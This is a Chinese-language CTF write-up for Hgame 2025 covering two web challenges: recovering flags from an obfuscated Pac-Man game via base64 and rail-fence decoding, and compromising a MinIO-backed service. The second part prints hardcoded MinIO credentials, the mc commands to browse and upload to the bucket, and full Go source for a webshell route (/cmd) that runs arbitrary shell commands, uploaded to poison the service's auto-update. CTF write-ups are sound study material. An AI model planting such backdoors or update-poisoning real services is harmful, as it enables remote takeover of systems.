Vidar Hgame 2025 WP 1

[WEB] Picman

打开是一个吃豆人游戏, F12 在控制台能看见 index.jsgame.js:

1-1.png

Obfuscator 混淆

代码的可读性极差, 应该是经过了混淆, 把 index.js 扔进这个网站解码: deobfuscate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
_0x3c0cce.createItem({
x: _0x5e1765.width / 2,
y: _0x5e1765.height * 0.5,
draw: function (_0x413b57) {
_0x413b57.fillStyle = '#FFF'
_0x413b57.font = '20px PressStart2P'
_0x413b57.textAlign = 'center'
_0x413b57.textBaseline = 'middle'
var _0x82b005 = _SCORE + 50 * Math.max(_LIFE - 1, 0)
_0x413b57.fillText('FINAL SCORE: ' + _0x82b005, this.x, this.y)
_0x82b005 > 9999
? ((_0x413b57.font = '16px PressStart2P'),
_0x413b57.fillText(
'here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=',
this.x,
this.y + 40
),
console.log(
'here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0='
))
: ((_0x413b57.font = '16px PressStart2P'),
_0x413b57.fillText(
'here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==',
this.x,
this.y + 40
),
console.log(
'here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ=='
))
},
})

对这两段字符串 base64 解码, 结果是:

1
2
haeu4epca_4trgm{_r_amnmse}
haepaiemkspretgm{rtc_ae_efc}

Fence

Fence 解密后:

1-2.png

1-3.png

得到 flag:

1
2
hgame{u_4re_pacman_m4ster}
hgame{pratice_makes_perfect}

关于 Fence (栅栏密码): 将原文按一定的不长和偏移按之字形排开, 然后按行读取得到;

  • Key(键/栏数)
    指“栅栏”的层数。它决定了你垂直方向上有多少行。Key 越大,字符分布越散,破解难度相对(稍微)提高。

  • Offset(偏移量)
    指从哪个位置开始书写。默认情况下偏移量为 0(从第一行第一列开始)。

例如,如果设置偏移量,可能会导致第一组字符不是从第一层开始,或者起始波形处于下降/上升的中途。

一个例子可以很形象的展示:


原文: HELLOWORLD;

Key = 2, Offset = 0:

1
2
行 1: H . L . O . O . L .
行 2: . E . L . W . R . D

重排后” HLOOLELWRD;

Key = 3, Offset = 2:

1
2
3
行 1: . . L . . . O . . .
行 2: . E . L . W . R . D
行 3: H . . . O . . . L .

重排后: LOELWRDHOL

这种加密方式本质上属于经典置换密码(Transposition Cipher),它只改变了字符的位置,而没有改变字符的分布特征。长话短说的讲, 没有显著提高信息的熵值。

[WEB] 双面人派对

minio

题目一共有两个网站, 访问一下 web 这个:

3-1.png

有一个 main 文件, 这是一个二进制文件;

3-2.png

一个带 upx 壳的 64 位可执行文件; 去 github 上下载一个脱壳工具即可, 指令:

1
upx -d main

之后用 IDA 打开审计, 慢慢找, 能找到一点 minio 的线索, 搜索这个 level25 最终能找到配置数据:

3-3.png

说明另一个服务可能是 minio 服务, 并且给出了配置:

1
2
3
4
5
6
minio:
endpoint: "127.0.0.1:9000"
access_key: "minio_admin"
secret_key: "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="
bucket: "prodbucket"
key: "update"

mc 工具连接:

官方网站的临时指令:

1
2
3
4
5
6
7
8
curl https://dl.minio.org.cn/client/mc/release/linux-amd64/mc \
--create-dirs \
-o $HOME/minio-binaries/mc

chmod +x $HOME/minio-binaries/mc
export PATH=$PATH:$HOME/minio-binaries/

mc --help
1
mc alias set myminio http://forward.vidar.club:31211 minio_admin "JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs="

连接成功后在服务器执行:

1
2
3
mc ls myminio
mc ls myminio/hints
mc cp myminio/hints/src.zip path

3-5.png

文件上传漏洞

获取源码分析:

minio 的配置是写死在 yaml 里的, 启动时会从 minio 中的 update 中读更新, 但是 minio 的文件上传没有过滤和限制, 因此可以上传到 minio 污染源码!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package main

import (
"level25/fetch"

"level25/conf"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})

}

func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/", gin.Dir(".", true))
g.Run(":8080")
}

编写 webshell

因此给他加个后门:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package main

import (
"bytes"
"level25/fetch"
"level25/conf"
"net/http"
"os/exec"

"github.com/gin-gonic/gin"
"github.com/jpillora/overseer"
)

func main() {
fetcher := &fetch.MinioFetcher{
Bucket: conf.MinioBucket,
Key: conf.MinioKey,
Endpoint: conf.MinioEndpoint,
AccessKey: conf.MinioAccessKey,
SecretKey: conf.MinioSecretKey,
}
overseer.Run(overseer.Config{
Program: program,
Fetcher: fetcher,
})
}

func program(state overseer.State) {
g := gin.Default()
g.StaticFS("/static", gin.Dir(".", true))

// 添加后门路由
g.GET("/cmd", func(c *gin.Context) {
command := c.Query("command")
if command == "" {
c.JSON(http.StatusBadRequest, gin.H{"error": "command parameter is required"})
return
}

cmd := exec.Command("sh", "-c", command)
var stdout, stderr bytes.Buffer
cmd.Stdout = &stdout
cmd.Stderr = &stderr
err := cmd.Run()

if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"error": "failed to execute command",
"details": stderr.String(),
})
return
}

c.JSON(http.StatusOK, gin.H{
"command": command,
"output": stdout.String(),
})
})

g.Run(":8080")
}

修改后编译, 上传:

1
2
3
4
5
6
7
8
# 镜像源加速
export GOPROXY=https://mirrors.aliyun.com/goproxy

# 编译
go build -o main main.go

# 上传
mc cp ./main myminio/prodbucket/update

注意, 由于目标环境在 Linux 上, 这里最好也在 Linux 上编译;

之后服务会自动重启, 重启后访问后门:

3-6.png

3-7.png

flag 就在根目录下;

总结

入口分析

  • 目标:Web 服务提供的 main 二进制文件
  • 手段:UPX 脱壳 → IDA 静态审计

关键信息泄露

在二进制文件中搜索 level25 定位到硬编码的 MinIO 配置:

1
2
3
4
5
Endpoint: 127.0.0.1:9000
Access Key: minio_admin
Secret Key: JPSQ4NOBvh2/W7hzdLyRYLDm0wNRMG48BL09yOKGpHs=
Bucket: prodbucket
Key: update

后续利用

使用 mc (MinIO Client) 工具连接对象存储服务
潜在攻击面:存储桶遍历、文件下载/上传、密钥泄露等


核心漏洞:二进制文件未脱敏,硬编码云服务凭证导致内部 MinIO 服务暴露。